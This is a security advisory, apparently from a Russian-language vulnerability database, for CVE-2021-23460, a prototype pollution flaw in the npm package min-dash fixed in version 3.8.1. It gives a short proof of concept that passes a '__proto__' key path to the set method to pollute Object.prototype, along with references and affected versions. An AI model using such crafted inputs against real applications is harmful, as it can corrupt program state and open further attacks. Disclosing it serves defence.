Описание
Prototype pollution in min-dash
Impact
The set method is vulnerable to prototype pollution with specially crafted inputs.
// insert the following into poc.js and run node poc,js (after installing the package)
let parser = require("min-dash");
parser.set({}, [["__proto__"], "polluted"], "success");
console.log(polluted);
Patches
min-dash>=3.8.1 fix the issue.
Workarounds
No workarounds exist for the issue.
References
Closed via https://github.com/bpmn-io/min-dash/pull/21.
Credits
Credits to Cristian-Alexandru STAICU who found the vulnerability and to Idan Digmi from the Snyk Security Team who reported the vulnerability to us, responsibly.
Ссылки
- https://github.com/bpmn-io/min-dash/security/advisories/GHSA-2m53-83f3-562j
- https://nvd.nist.gov/vuln/detail/CVE-2021-23460
- https://github.com/bpmn-io/min-dash/pull/21
- https://github.com/bpmn-io/min-dash/commit/2c6689e2aa29f4b66a4874a2f3003431e9db48d1
- https://github.com/bpmn-io/min-dash/blob/c4d579c0eb2ed0739592111c3906b198921d3f52/lib/object.js#L32
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2342127
- https://snyk.io/vuln/SNYK-JS-MINDASH-2340605
Пакеты
Наименование
min-dash
npm
Затронутые версииВерсия исправления
< 3.8.1
3.8.1
Наименование
org.webjars.npm:min-dash
maven
Затронутые версииВерсия исправления
< 3.8.1
3.8.1
Связанные уязвимости
CVSS3: 7.5
nvd
около 4 лет назад
The package min-dash before 3.8.1 are vulnerable to Prototype Pollution via the set method due to missing enforcement of key types.